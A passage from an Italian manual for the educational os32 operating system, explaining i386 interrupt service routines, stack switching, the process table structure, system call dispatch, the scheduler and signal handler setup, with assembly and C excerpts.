`unsigned int` ***last***`);`
	Funzione diagnostica, usata per visualizzare il contenuto della tabella IDT in binario.
	Listato 119.6.17.

109.3.5 Gestione delle interruzioni

Le interruzioni che individua il microprocessore (eccezioni, interruzioni software e interruzioni hardware) fanno interrompere l'attività normale dello stesso, costringendolo ad accumulare nella pila attuale dei dati lo stato di alcuni registri ed eventualmente di un codice di errore, saltando poi alla posizione di codice indicata nella voce corrispondente nella tabella IDT. Va osservato che, per semplicità, os32 fa lavorare i propri processi nell'anello zero, come il kernel, per cui i dati accumulati nella pila si limitano a quelli della figura successiva, perché non c'è mai un passaggio da un livello di privilegio a un altro.

Le posizioni del codice a cui il microprocessore deve saltare, secondo le indicazioni della tabella IDT, sono contenute tutte nel file '`kernel/ibm_i386/isr.s`', mentre nel file '`kernel/ibm_i386.h`' vi si fa riferimento attraverso dei prototipi di funzione, benché non si tratti propriamente di funzioni.

Tabella 109.36. Funzioni per la gestione delle interruzioni.

Funzione	Descrizione
`void isr_`***n*** `(void);`	Si tratta di procedure attivate dalle interruzioni, dove per esempio ***isr_33()*** viene eseguita a seguito del verificarsi dell'interruzione numero 33, la quale ha origine da IRQ 1, ovvero dalla tastiera. L'indicazione di quale procedura attivare per ogni interruzione dipende dalla configurazione della tabella IDT. Listato 119.6.21.

Funzione	Descrizione

`void`
`isr_exception_unrecoverable (uint32_t` ***eax*** `,`
`uint32_t` ***ecx*** `,`
`uint32_t` ***edx*** `,`
`uint32_t` ***ebx*** `,`
`uint32_t` ***ebp*** `,`
`uint32_t` ***esi*** `,`
`uint32_t` ***edi*** `,`
`uint32_t` ***ds*** `,`
`uint32_t` ***es*** `,`
`uint32_t` ***fs*** `,`
`uint32_t` ***gs*** `,`
`uint32_t` ***interrupt*** `,`
`uint32_t` ***error*** `,`
`uint32_t` ***eip*** `,`
`uint32_t` ***cs*** `,`
`uint32_t` ***eflags*** `);`
	Questa funzione viene usata all'interno del file '`isr.s`' per segnalare il verificarsi di un'eccezione non risolvibile, come nel caso di una divisione per zero. Pertanto, la funzione ha soprattutto un significato diagnostico.
	Listato 119.6.23.

`char` `*isr_exception_name (int` ***exception*** `);`	Restituisce il puntatore alla stringa contenente il nome dell'eccezione corrispondente al numero di interruzione fornito. Viene usata da ***isr_exception_unrecoverable()*** per dare delle indicazioni comprensibili sull'eccezione che si è verificata. Listato 119.6.22.
`void isr_irq_clear (uint32_t` ***idtn*** `);`	Avvisa il PIC (*programmable interrupt controller*) che l'interruzione hardware emessa è stata recepita e se ne possono ricevere altre. Tuttavia, essendoci due PIC, la funzione stabilisce quale dei due è coinvolto direttamente e di conseguenza come procedere. Listato 119.6.24.
`void isr_irq_clear_pic1 (void);`	Avvisa il PIC1 che l'interruzione hardware emessa è stata recepita e se ne possono ricevere altre. Listato 119.6.25.
`void isr_irq_clear_pic2 (void);`	Avvisa il PIC2 che l'interruzione hardware emessa è stata recepita e se ne possono ricevere altre. Listato 119.6.26.

109.4 Gestione dei processi

Listato 119.6.21; listato 119.13 e successivi.

La gestione dei processi è raccolta nei file '`kernel/proc.h`' e '`kernel/proc/...`'; tuttavia, dal file '`kernel/ibm_i386/isr.s`' hanno origine le procedure attivate dalle interruzioni e dalle chiamate di sistema: le chiamate di sistema e le interruzioni provenienti dal temporizzatore interno provocano l'attivazione dello schedulatore.

Con os32, quando un processo viene interrotto per lo svolgimento del compito dell'interruzione, si passa sempre a utilizzare la pila dei dati del kernel. Per annotare la posizione in cui si trova l'indice della pila del kernel si usa la variabile ***_ksp***, accessibile anche dal codice in linguaggio C.

Il codice del kernel può essere interrotto dagli impulsi del temporizzatore, ma in tal caso non viene coinvolto lo schedulatore per lo scambio con un altro processo, così che dopo l'interruzione è sempre il kernel che continua a funzionare; pertanto, nella funzione ***kmain()*** è il kernel che cede volontariamente il controllo a un altro processo (ammesso che ci sia) con una chiamata di sistema nulla.

109.4.1 File «kernel/ibm_i386/isr.s»

Il file '`kernel/ibm_i386/isr.s`' contiene il codice per la gestione delle interruzioni dei processi. Nella parte iniziale del file, vengono dichiarate delle variabili, alcune delle quali sono pubbliche e accessibili anche dal codice in C.

```
.section .data
proc_syscallnr:             .int   0x00000000
proc_msg_offset:            .int   0x00000000
proc_msg_size:              .int   0x00000000
proc_instruction_pointer:   .int   0x00000000
proc_back_address:          .int   0x00000000
_ksp:                       .int   0x00000000
syscall_working:            .int   0x00000000
_clock_kernel:
kticks_lo:                  .int   0x00000000
kticks_hi:                  .int   0x00000000
_clock_time:
tticks_lo:                  .int   0x00000000
tticks_hi:                  .int   0x00000000
```

Si tratta di variabili scalari da 32 bit, tenendo conto che: i simboli '**`kticks_lo`**' e '**`kticks_hi`**' compongono assieme la variabile ***_clock_kernel*** a 64 bit per il linguaggio C; i simboli '**`tticks_lo`**' e '**`tticks_hi`**' compongono assieme la variabile ***_clock_time*** a 64 bit per il linguaggio C.

Dopo la dichiarazione delle variabili inizia il codice vero e proprio, dove i simboli '**`isr_`*n***' si riferiscono al codice da usare in presenza dell'interruzione ***n***. Tra tutte, le interruzioni più importanti sono quelle del temporizzatore (***isr_32()***), il quale produce un impulso a circa 100 Hz; quelle della tastiera (***isr_33()***) e delle chiamate di sistema (***isr_128()***).

Il codice per la gestione dei tre tipi di interruzione più importanti ha delle similitudini che conviene analizzare simultaneamente. os32 non cambia mai anello, nel senso che il livello di privilegio dei processi è pari a quello del kernel; pertanto, nel momento in cui si verifica un'interruzione, la pila e il segmento dati in essere sono quelli del processo interrotto. Le procedure che gestiscono le tre interruzioni principali iniziano con il salvataggio dei registri nella pila attuale e il passaggio al segmento dei dati del kernel, lasciando temporaneamente la pila nel segmento dati del processo interrotto; nello stesso modo, terminano con il ripristino del

segmento dati originario (al momento dell'interruzione) e il ripristino successivo dei registri, estraendone i valori dalla pila:

```
#
# Save into process stack:
#
pushl %gs
pushl %fs
pushl %es
pushl %ds
pushl %edi
pushl %esi
pushl %ebp
pushl %ebx
pushl %edx
pushl %ecx
pushl %eax
#
# Set the data segments to the kernel data segment,
# so that the following variables can be accessed.
#
mov  $16, %ax # DS, ES, FS and GS.
mov  %ax, %ds
mov  %ax, %es
mov  %ax, %fs
mov  %ax, %gs
…
…
#
# Restore from process stack.
#
popl %eax
popl %ecx
popl %edx
popl %ebx
popl %ebp
popl %esi
popl %edi
popl %ds
popl %es
popl %fs
popl %gs
…
iret
```

Il segmento dati del kernel si trova nella terza voce della tabella GDT (la prima è nulla, la seconda è per il codice del kernel, la terza è per i dati del kernel). Sapendo che ogni voce

occupa 8 byte (64 bit), per raggiungere l'inizio della terza voce occorre indicare il valore 16 nel registro di segmento.

Figura 109.39. Inserimento nella pila del processo interrotto.

inizio della routine

EAX
ECX
EDX
EBX
EBP
ESI
EDI
DS
ES
FS
GS
EIP
CS
EFLAGS

inserimento all'inizio della routine di trattamento dell'interruzione

inserimento dovuto all'interruzione

pila del processo interrotto

fine della routine

EAX
ECX
EDX
EBX
EBP
ESI
EDI
DS
ES
FS
GS
EIP
CS
EFLAGS

estrazione alla fine della routine di trattamento dell'interruzione

estrazione dovuta all'istruzione "iret"

pila precedente

Durante l'elaborazione di un'interruzione proveniente dal temporizzatore o dalla tastiera, è necessario sapere se è già in corso l'elaborazione di una chiamata di sistema. Se ciò accade, l'impulso del temporizzatore viene recepito, incrementando i contatori, ma non viene fatto altro, mentre l'impulso della tastiera viene semplicemente ignorato.

```
#
# Check if a system call is already working: if so,
# just leave (go to L2).
#
cmpl $1, syscall_working
je L2
```

In pratica, quando si presenta una chiamata di sistema, inizialmente viene assegnato il valore uno alla variabile ***syscall_working***, mentre alla fine del suo compito questa variabile viene azzerata:

```
#
# Tell that it is a system call.
#
movl $1, syscall_working
...
#
# End of system call.
#
movl $0, syscall_working
```

Quando l'interruzione proviene dal temporizzatore e non è in corso l'esecuzione di una chia-

mata di sistema, oppure quando l'interruzione deriva proprio da una chiamata di sistema, viene attivato lo schedulatore (direttamente o indirettamente, attraverso la funzione che svolge il lavoro richiesto dalla chiamata di sistema), ma per fare questo, è necessario passare alla pila dei dati del kernel, per poi ripristinarla successivamente:

```
#
# Save process stack registers into kernel data segment.
#
mov %ss,  proc_stack_segment_selector
mov %esp, proc_stack_pointer
…
#
# Switch to kernel stack.
#
mov $16, %ax
mov %ax, %ss
mov _ksp, %esp
…
…
#
# Restore process stack registers from kernel data segment.
#
mov proc_stack_segment_selector, %ss
mov proc_stack_pointer, %esp
```

Figura 109.43. Scambi delle pile: prima fase.

Figura 109.44. Scambi delle pile: seconda fase.

fine della routine
pila di un altro processo

EAX
ECX
EDX
EBX
EBP
ESI
EDI
DS
ES
FS
GS
EIP
CS
EFLAGS

estrazione alla fine della routine di trattamento dell'interruzione

estrazione dovuta all'istruzione "iret"

pila precedente del processo attuale

ripristino della pila di un altro processo

SS = proc_stack_segment_selector
ESP = proc_stack_pointer

_ksp

pila del kernel al momento della interruzione

109.4.1.1 Particolarità della routine «isr_32», ovvero «irq_timer»

Dopo il salvataggio dei registri principali e dopo il cambiamento del segmento dati, rimanendo ancora sulla pila dei dati del processo interrotto, la routine di gestione delle interruzioni del temporizzatore si occupa di incrementare i contatori degli impulsi. Gli impulsi giungono alla frequenza di 100 Hz circa, per cui non c'è la necessità di fare alcun tipo di conversione:

```
...
isr_32:         # IRQ 0: «timer»
    cli
    jmp irq_timer
...
irq_timer:
    ...
    add $1, kticks_lo    # Kernel ticks counter.
    adc $0, kticks_hi    #
    #
    add $1, tticks_lo    # Clock ticks counter.
    adc $0, tticks_hi    #
    ...
```

A questo punto, se l'interruzione è avvenuta mentre era in corso l'elaborazione di una chiamata di sistema, tutto si conclude con il ripristino dei registri e del PIC1, in modo da consentire la ripresa delle interruzioni. Se invece l'interruzione è avvenuta in una situazione differente, si verifica ancora che non sia stato interrotto il funzionamento del kernel stesso, perché se così fosse, anche in questo caso la procedura termina con il solito ripristino dei registri e del PIC1.

```
#
# Check if it is already in kernel mode: the kernel has PID 0.
# If so, just leave (go to L2).
#
mov proc_current, %edx       # Interrupted PID.
mov $0,           %eax       # Kernel PID.
cmp %eax, %edx
je L2
```

Se non è stato interrotto il codice del kernel, viene chiamata la funzione ***proc_scheduler()***, la quale può cambiare i valori delle variabili pubbliche ***proc_stack_segment_selector*** e ***proc_stack_pointer***, provocando così la sostituzione del processo interrotto, quando subito dopo si ripristina la pila a cui queste due variabili fanno riferimento.

109.4.1.2 Particolarità della routine «isr_128»

La pila dei dati al momento dell'interruzione dovuta a una chiamata di sistema, contiene anche le informazioni necessarie a conoscere il tipo di funzione richiesta e gli argomenti di questa, in forma di variabile strutturata, di cui viene trasmesso il puntatore.

Dopo il salvataggio dei registri principali e dopo il cambiamento del segmento dati, rimanendo ancora sulla pila dei dati del processo interrotto, si recuperano dalla pila le informazioni necessarie a ricostruire la funzione richiesta, salvandole in variabili locali:

```
#
# Save some more data, from the system call.
#
.equ SYSCALL_NUMBER,      60
.equ MESSAGE_OFFSET,      64
.equ MESSAGE_SIZE,        68
#
mov %esp, %ebp
mov SYSCALL_NUMBER(%ebp), %eax
mov %eax, proc_syscallnr
mov MESSAGE_OFFSET(%ebp), %eax
mov %eax, proc_msg_offset
mov MESSAGE_SIZE(%ebp), %eax
mov %eax, proc_msg_size
```

A questo punto, in modo simile a quanto avviene per le interruzioni del temporizzatore, si verifica se la chiamata di sistema è avvenuta durante il funzionamento del kernel, cosa che os32 consente. Tuttavia, la chiamata di sistema viene eseguita ugualmente, solo che si salva l'indice della pila nella variabile ***_ksp***; pertanto, è proprio attraverso una prima chiamata di sistema nulla che os32 inizializza la gestione delle interruzioni.

```
    #
    # Check if it is already in kernel mode: the kernel has PID 0.
    #
    mov proc_current, %edx       # Interrupted PID.
    mov $0,           %eax       # Kernel PID.
    cmp %eax, %edx
    jne L3
    #
    mov %esp, _ksp
L3:
```

A questo punto viene eseguito il passaggio alla pila del kernel, indipendentemente dal fatto che serva o meno, quindi viene chiamata la funzione ***sysroutine()***, inserendo nella pila attuale i parametri richiesti e salvati precedentemente all'interno di variabili locali:

```
    push proc_msg_size
    push proc_msg_offset
    push proc_syscallnr
    call sysroutine
    add $4, %esp
    add $4, %esp
    add $4, %esp
```

I passi successivi includono il ripristino della pila precedente, secondo quanto annotato nelle variabili globali ***proc_stack_segment_selector*** e ***proc_stack_pointer***, e lo stato dei registri dalla nuova pila.

Va osservato che la funzione ***sysroutine()*** oltre che prendersi carico di eseguire il compito della chiamata di sistema richiesta, provvede poi a sostituire il processo interrotto, avvalendosi a sua volta della funzione ***proc_scheduler()***.

109.4.2 La tabella dei processi

Listato 119.13.

Nel file '`kernel/proc.h`' viene definito il tipo '**`proc_t`**', con il quale, nel file '`kernel/proc/proc_public.c`' si definisce la tabella dei processi, rappresentata dall'array ***proc_table[]***.

Listato 109.50. Struttura del tipo '**`proc_t`**', corrispondente agli elementi dell'array ***proc_table[]***.

```
typedef struct {
    pid_t           ppid;           // Parent PID.
    pid_t           pgrp;           // Process group ID.
    uid_t           uid;            // Real user ID
    uid_t           euid;           // Effective user ID.
    uid_t           suid;           // Saved user ID.
    gid_t           gid;            // Real group ID
    gid_t           egid;           // Effective group ID.
```

```
    gid_t              sgid;              // Saved group ID.
    dev_t              device_tty;        // Controlling terminal.
    char               path_cwd[PATH_MAX];
                                          // Working directory path.
    inode_t           *inode_cwd;         // Working directory inode.
    int                umask;             // File creation mask.
    unsigned long int  sig_status;        // Active signals.
    unsigned long int  sig_ignore;        // Signals to be ignored.
    uintptr_t          sig_handler[MAX_SIGNALS]; // Opt. sig. handlers.
    uintptr_t          sig_handler_wrapper;      // Special wrapper.
    clock_t            usage;             // Clock ticks CPU time usage.
    unsigned int       status;
    int                wakeup_events;     // Wake up for something.
    int                wakeup_signal;     // Signal waited.
    unsigned int       wakeup_timer;      // Seconds to wait for.
    inode_t           *wakeup_inode;      // Inode waited.
    addr_t             address_text;
    size_t             domain_text;
    addr_t             address_data;
    size_t             domain_data;
    size_t             domain_stack;      // Included inside the data.
    size_t             extra_data;        // Extra data for 'brk()'.
    uint32_t           sp;
    int                ret;
    char               name[PATH_MAX];
    fd_t               fd[FOPEN_MAX];
} proc_t;
```

La tabella successiva descrive il significato dei vari membri previsti dal tipo '**`proc_t`**'. Va osservato che la cosiddetta «u-area» (*user area*) non viene gestita come un sistema Unix tradizionale e tutti i dati dei processi sono raccolti nella tabella gestita dal kernel. Di conseguenza, dal momento che i processi non dispongono di una tabella personale con i dati della u-area, devono avvalersi sempre di chiamate di sistema per leggere i dati del proprio processo.

Tabella 109.51. Membri del tipo '**`proc_t`**'.

Membro	Contenuto
`ppid`	Numero del processo genitore: *parent process id*.
`pgrp`	Numero del gruppo di processi a cui appartiene quello della voce corrispondente: *process group*. Si tratta del numero del processo a partire dal quale viene definito il gruppo.
`uid`	Identità reale del processo della voce corrispondente: *user id*. Si tratta del numero dell'utente, secondo la classificazione del file '`/etc/passwd`', per conto del quale il processo è stato avviato. Tuttavia, i privilegi del processo dipendono dall'identità efficace, definita dal membro '**`euid`**'.

Membro	Contenuto
`euid`	Identità efficace del processo della voce corrispondente: *effective user id*. Si tratta del numero dell'utente, secondo la classificazione del file '`/etc/passwd`', per conto del quale il processo è in funzione; pertanto, il processo ha i privilegi di quell'utente.
`suid`	Identità salvata: *saved user id*. Si tratta del valore che aveva ***euid*** prima di cambiare identità.
`gid`	Gruppo reale del processo della voce corrispondente: *group id*. Si tratta del numero del gruppo, secondo la classificazione del file '`/etc/group`', per conto del quale il processo è stato avviato. Tuttavia, i privilegi del processo dipendono dall'identità efficace, definita dal membro '**`egid`**'.
`egid`	Gruppo efficace del processo della voce corrispondente: *effective group id*. Si tratta del numero del gruppo, secondo la classificazione del file '`/etc/group`', per conto del quale il processo è in funzione; pertanto, il processo ha i privilegi di quel gruppo.
`sgid`	Gruppo salvato: *saved group id*. Si tratta del valore che aveva ***egid*** prima di cambiare identità.
`device_tty`	Terminale di controllo, espresso attraverso il numero del dispositivo.
`path_cwd` `inode_cwd`	Entrambi i membri rappresentano la directory corrente del processo: nel primo caso in forma di percorso, ovvero di stringa, nel secondo in forma di puntatore a inode rappresentato in memoria.
`umask`	Maschera dei permessi associata al processo: i permessi attivi nella maschera vengono tolti in fase di creazione di un file o di una directory.
`sig_status`	Segnali inviati al processo e non ancora trattati: ogni segnale si associa a un bit differente del valore del membro ***sig_status***; un bit a uno indica che il segnale corrispondente è stato ricevuto e non ancora trattato.
`sig_ignore`	Segnali che il processo ignora: ogni segnale da ignorare si associa a un bit differente del valore del membro ***sig_ignore***; un bit a uno indica che quel segnale va ignorato.
`sig_handler[]`	Array di funzioni da eseguire al ricevimento del segnale rispettivo.
`sig_handler_wrapper[]`	Array di funzioni da usare per avvolgere quelle da eseguire al ricevimento di un certo segnale. Si tratta in pratica della funzione dichiarata nel file '`lib/signal/_signal_handler_wrapper.s`', ma è riferita al codice dell'applicazione di origine. Queste funzioni hanno il compito di sistemare la pila dopo l'esecuzione della funzione attivata da un segnale.
`usage`	Tempo di utilizzo della CPU, da parte del processo, espresso in impulsi del temporizzatore, il quale li produce alla frequenza di circa 100 Hz.

Membro	Contenuto
`status`	Stato del processo, rappresentabile attraverso una macro-variabile simbolica, definita nel file '`proc.h`'. Per os32, gli stati possibili sono: «inesistente», quando si tratta di una voce libera della tabella dei processi; «creato», quando un processo è appena stato creato; «pronto», quando un processo è pronto per essere eseguito, «in esecuzione», quando il processo è in funzione; «sleeping», quando un processo è in attesa di qualche evento; «zombie», quando un processo si è concluso, ha liberato la memoria, ma rimangono le sue tracce perché il genitore non ha ancora recepito la sua fine.
`wakeup_events`	Eventi attesi per il risveglio del processo, ammesso che si trovi nello stato si attesa. Ogni tipo di evento che può essere atteso corrisponde a un bit e si rappresenta con una macro-variabile simbolica, dichiarata nel file '`lib/sys/os32.h`'.
`wakeup_signal`	Ammesso che il processo sia in attesa di un segnale, questo membro esprime il numero del segnale atteso.
`wakeup_timer`	Ammesso che il processo sia in attesa dello scadere di un conto alla rovescia, questo membro esprime il numero di secondi che devono ancora trascorrere.
`wakeup_inode`	Ammesso che il processo sia in attesa di poter accedere a un inode, questo membro esprime il puntatore a un inode che deve rendersi disponibile.
`address_text` `domain_text`	Il valore di questi membri descrive la memoria utilizzata dal processo per le istruzioni (il segmento codice). La voce ***domain_text*** rappresenta la dimensione occupata a partire da ***address_text***.
`address_data` `domain_data`	Il valore di questi membri descrive la memoria utilizzata dal processo per i dati; tuttavia l'informazione è utile solo se i dati sono distinti dal segmento codice (gli eseguibili di os32 possono essere compilati in modo da condividere codice e dati nello stesso segmento, oppure in modo da tenerli separati).
`domain_stack`	Dimensione della memoria usata per la pila dei dati, la quale, a seconda del tipo di eseguibile, può collocarsi nel segmento dati, oppure nell'unico segmento che include codice e dati; in ogni caso, si tratta della porzione finale della memoria in questione.
`extra_data`	Dimensione della memoria usata per l'allocazione dinamica della memoria. Questo spazio, ammesso che sia utilizzato, si colloca dopo la pila e può essere modificato con la funzione ***brk()***.
`sp`	Indice della pila dei dati, nell'ambito del segmento dati del processo. Il valore è significativo quando il processo è nello stato di pronto o di attesa di un evento. Quando invece un processo era attivo e viene interrotto, questo valore viene aggiornato.
`ret`	Rappresenta il valore restituito da un processo terminato e passato nello stato di «zombie».
`name[]`	Il nome del processo, rappresentato dal nome del programma avviato.
`fd[]`	Tabella dei descrittori dei file relativi al processo.

L'indice della tabella dei processi corrisponde al numero del processo, ovvero il PID, che infatti non è rappresentato al suo interno. Tuttavia, per accedervi più agevolmente, viene

usata la funzione ***proc_reference()***, la quale, fornendo il numero PID desiderato, fornisce il puntatore alla voce della tabella che lo descrive(listato 119.13.7).

109.4.3 Chiamate di sistema

I processi eseguono una chiamata di sistema attraverso la funzione ***sys()***, dichiarata nel file '`lib/sys/os32/sys.s`'(listato 120.15.4). La funzione in sé, per come è dichiarata, potrebbe avere qualunque parametro, ma in pratica ci si attende che il suo prototipo sia il seguente:

```
void sys (int syscallnr, void *message, size_t size);
```

Il numero della chiamata di sistema, richiesto come primo parametro, si rappresenta attraverso una macro-variabile simbolica, definita nel file '`lib/sys/os32.h`'.

Per fornire dei dati a quella parte di codice che deve svolgere il compito richiesto, si usa una variabile strutturata, di cui viene trasmesso il puntatore (riferito al segmento dati del processo che esegue la chiamata) e la dimensione complessiva.

Nel file '`lib/sys/os32.h`' sono definiti dei tipi derivati, riferiti a variabili strutturate, per ogni tipo di chiamata(listato 120.15). Per esempio, per la chiamata di sistema usata per cambiare la directory corrente del processo, si usa un messaggio di tipo '**`sysmsg_chdir_t`**':

```
typedef struct {
    char        path[PATH_MAX];
    int         ret;
    int         errno;
    int         errln;
    char        errfn[PATH_MAX];
} sysmsg_chdir_t;
```

In realtà, la funzione ***sys()***, si limita a produrre un'interruzione software, da cui viene attivata la routine che inizia al simbolo '**`isr_128`**' nel file '`kernel/ibm_i386/isr.s`', la quale estrapola le informazioni salienti dalla pila dei dati e poi le fornisce alla funzione ***sysroutine()***:

```
void sysroutine (uint32_t syscallnr,
                 uint32_t msg_off, uint32_t msg_size);
```

I parametri della funzione ***sysroutine()*** corrispondono in pratica agli argomenti della chiamata della funzione ***sys()***, con la differenza che nei vari passaggi hanno perso l'identità originaria e giungono come numeri puri e semplici. A questo proposito, il secondo parametro cambia nome, in quanto ciò che prima era il puntatore a un'area di memoria, qui va interpretato come lo scostamento rispetto al segmento dati del processo (*segment offset*).

109.4.4 Funzione «proc_init()»

Listato 119.13.3.

```
void proc_init (void);
```

La funzione ***proc_init()*** viene chiamata dalla funzione ***kmain()***, una volta sola, per attivare la gestione dei processi elaborativi. Si occupa di compiere le azioni seguenti:

- predisporre la tabella GDT, attraverso la chiamata della funzione ***gdt()***;
- impostare il temporizzatore in modo da fornire impulsi alla frequenza dichiarata nella macro-variabile ***CLOCKS_PER_SEC***, pari a 100 Hz;
- predisporre la tabella IDT, attraverso la chiamata della funzione ***idt()***;
- azzerare la tabella dei processi, inserendovi però i dati relativi al kernel (il processo zero);
- allocare la memoria già utilizzata dal kernel;
- attivare selettivamente le interruzioni hardware desiderate;
- attivare la gestione delle unità PATA;
- innestare il file system principale.

109.4.5 Funzione «sysroutine()»

Listato 119.13.27.

La funzione ***sysroutine()*** viene chiamata esclusivamente dalla routine attivata dalle chiamate di sistema (tale routine è introdotta dal simbolo '**`isr_128`**' nel file '`kernel/ibm_i386/isr.s`') e ha i parametri che si possono vedere dal prototipo:

```
void sysroutine (uint32_t syscallnr,
                 uint32_t msg_off, uint32_t msg_size);
```

Il primo parametro è il numero della chiamata di sistema che ha provocato l'interruzione; gli altri due danno la posizione e la dimensione del messaggio inviato attraverso la chiamata di sistema.

All'inizio della funzione viene dichiarato un puntatore a un'unione di tutti i tipi di messaggio gestibili:

```
    union {
        sysmsg_brk_t        brk;
        sysmsg_chdir_t      chdir;
        sysmsg_chmod_t      chmod;
        ...
    } *msg;
```

Viene quindi calcolata la collocazione del messaggio originale, per poi poter assegnare a ***msg*** il puntatore a tale messaggio.

Le chiamate di sistema sono fatte per le applicazioni, ma al kernel è consentito di eseguirne alcune, per motivi particolari. Se però il kernel tenta di eseguire una chiamata differente, si ottiene un messaggio di avvertimento, ma si tenta ugualmente l'esecuzione della richiesta.

Disponendo del puntatore ***msg***, sapendo di quale chiamata di sistema si tratta, il messaggio può essere letto come:

```
msg->tipo_chiamata
```

Per esempio, per la chiamata di sistema '**`SYS_CHDIR`**', si deve fare riferimento al messaggio ***msg->chdir***; pertanto, per raggiungere il membro ***ret*** del messaggio si usa la notazione ***msg->chdir.ret***.

Per distinguere il tipo di chiamata si usa una struttura di selezione:

```
    switch (syscallnr)
      {
        case SYS_0:
            break;
        case SYS_BRK:
            msg->brk.ret          = s_brk (pid, msg->brk.address);
            sysroutine_error_back (&msg->brk.errno, &msg->brk.errln,
                                   msg->brk.errfn);
            break;
        case SYS_CHDIR:
            msg->chdir.ret        = s_chdir (pid, msg->chdir.path);
            sysroutine_error_back (&msg->chdir.errno, &msg->chdir.errln,
                                   msg->chdir.errfn);
            break;
```

Il messaggio usato per trasmettere i dati della chiamata, può servire anche per restituire dei dati al mittente, pertanto, spesso alcuni contenuti vengono modificati. Ciò succede particolarmente con il membro ***ret*** che generalmente rappresenta il valore restituito dalla chiamata di sistema.

Al termine del lavoro, viene chiamata la funzione ***proc_scheduler()***.

109.4.6 Funzione «proc_scheduler()»

Listato 119.13.11.

La funzione ***proc_scheduler()*** non prevede parametri e riceve le informazioni che le possono servire attraverso variabili pubbliche: ***_ksp***, ***proc_stack_pointer***, ***proc_stack_segment_selector*** e ***proc_current***. A sua volta, la funzione aggiorna i valori di queste variabili, per mettere in pratica uno scambio di processi.

```
void proc_scheduler (void);
```

La prima cosa che fa la funzione consiste nel verificare che il valore dell'indice della pila del processo interrotto non superi lo spazio disponibile per la pila stessa. Diversamente il processo viene eliminato forzatamente, con una segnalazione adeguata sul terminale attivo. Si ottiene comunque una segnalazione se l'indice si avvicina pericolosamente al limite.

Successivamente la funzione svolge delle operazioni che riguardano tutti i processi: aggiorna i contatori dei processi che attendono lo scadere di un certo tempo; verifica la presenza di segnali e predispone le azioni relative; raccoglie l'input dai terminali.

```
    proc_sch_timers ();
    …
    proc_sch_signals ();
    …
    proc_sch_terminals ();
```

A quel punto aggiorna il tempo di utilizzo della CPU del processo appena interrotto:

```
    current_clock   = s_clock ((pid_t) 0);
    proc_table[prev].usage += current_clock - previous_clock;
    previous_clock  = current_clock;
```

Quindi inizia la ricerca di un altro processo, candidato a essere ripreso al posto di quello interrotto. La ricerca inizia dal processo successivo a quello interrotto, senza considerare alcun criterio di precedenza. Il ciclo termina se la ricerca incontra di nuovo il processo di partenza.

```
    for (next = prev+1; next != prev; next++)
      {
        if (next >= PROCESS_MAX)
          {
            next = -1; // At the next loop, 'next' will be zero.
            continue;
          }
        …
      }
```

All'interno di questo ciclo di ricerca, se si incontra un processo pronto per essere messo in funzione, lo si scambia con quello interrotto: in pratica si salva il valore attuale dell'indice della pila, si scambiano gli stati e si aggiornano i valori di ***proc_current***, ***proc_stack_segment_selector*** e ***proc_stack_pointer***, in modo da ottenere effettivamente lo scambio all'uscita dalla funzione:

```
        else if (proc_table[next].status == PROC_READY)
          {
            if (proc_table[prev].status == PROC_RUNNING)
              {
                proc_table[prev].status = PROC_READY;
              }
            proc_table[prev].sp      = proc_stack_pointer;
            proc_table[next].status = PROC_RUNNING;
            proc_table[next].ret     = 0;
            proc_current             = next;
            proc_stack_segment_selector
                = gdt_pid_to_segment_data (next) * 8;
            proc_stack_pointer       = proc_table[next].sp;
            break;
          }
```

Alla fine del ciclo, occorre verificare se esiste effettivamente un processo successivo attivato, perché in caso contrario, si lascia il controllo direttamente al kernel. In fine, si salva il valore accumulato in precedenza dell'indice della pila del kernel, nella variabile ***_ksp***.

109.4.7 Programmazione dei segnali

Un processo può ricevere un segnale, a seguito del quale può essere interrotto per compiere una certa azione. La maggior parte dei segnali può essere inibita, in modo tale che ricevendoli il processo non venga a essere disturbato, oppure si può associare loro una funzione, da eseguire al momento del ricevimento del tale segnale. Diversamente, in mancanza di tale associazione, il ricevimento di un segnale comporta un'azione predefinita.

L'associazione di una funzione allo scattare di un segnale si ottiene, nel codice dell'applicazione, con la funzione ***signal()*** (listato 120.11.3), la quale attraverso una chiamata di sistema fornisce al kernel tutti i dati necessari per la programmazione del segnale.

La vera difficoltà sta nell'esecuzione effettiva della funzione, nel momento in cui scatta il segnale previsto per il processo.

```
sighandler_t signal (int sig, sighandler_t handler);
```

La funzione ***signal()*** richiede l'indicazione del numero del segnale da programmare e di un puntatore rappresentato da una funzione che si vuole azionare nel momento in cui scatta il segnale in questione. Il tipo '**`sighandler_t`**' rappresenta il puntatore a una funzione che richiede un parametro di tipo intero, costituito dal numero del segnale ricevuto, e non restituisce alcunché; pertanto, la funzione che si passa come secondo parametro della funzione ***signal()*** deve avere la forma seguente:

```
void handler (int sig);
```

La funzione ***signal()***, a sua volta, esegue finalmente la chiamata di sistema, ma oltre al numero del segnale e al puntatore della funzione da azionare, invia il puntatore di un'altra funzione, de-

nominata ***_sighandler_wrapper()***, il cui scopo è quello di avvolgere la chiamata della funzione da azionare, per sistemare in modo appropriato la pila dei dati (listato 120.11.1). In questa fase della descrizione del problema, va osservato che la funzione ***_sighandler_wrapper()*** si trova nel codice del processo che riceve il segnale.

La chiamata di sistema, quando raggiunge il kernel, comporta l'aggiornamento dei dati del processo, annotando sia la funzione da azionare, sia la funzione che deve avvolgerla.

Quando arriva un segnale a un processo che prevede l'azionamento di una funzione, attraverso la funzione ***proc_sch_signals()***, chiamata a sua volta dalla funzione ***proc_scheduler()***, attraverso altri passaggi si arriva alla funzione ***proc_sig_handler()*** (listato 119.13.15).

```
void proc_sig_handler (pid_t pid, int sig);
```

La funzione ***proc_sig_handler()*** ha lo scopo di modificare la pila dei dati del processo ***pid***, in modo da far sì che, nel momento in cui fosse selezionato, prima di riprendere con l'attività sospesa originariamente, esegua la funzione attivata dal segnale ***sig***.

Figura 109.59. Modifica della pila attraverso la funzione ***proc_sig_handler()***.

Come si può vedere nella figura, i valori che servono all'istruzione IRET per concludere l'interruzione, vengono modificati in modo da ripartire iniziando con la funzione che avvolge quella da azionare, ***wrapper***, ovvero quella che dal lato dell'applicazione è chiamata ***_sighandler_wrapper()***. D'altro canto, quando quella funzione viene messa in azione, si trova nella pila dei valori che le servono per poter chiamare a sua volta la funzione da azionare effettivamente.

Il codice di ***_sighandler_wrapper()*** non corrisponde propriamente a una funzione, in quanto ciò che si trova nella pila non è quello che si prevede di solito. Le figure successive mostrano i cambiamenti della pila del processo, prima e dopo l'esecuzione della funzione incaricata di gestire il segnale ricevuto.

Figura 109.60. Dall'avvio di ***_sighandler_wrapper()*** fino alla chiamata della funzione di gestione del segnale ricevuto.

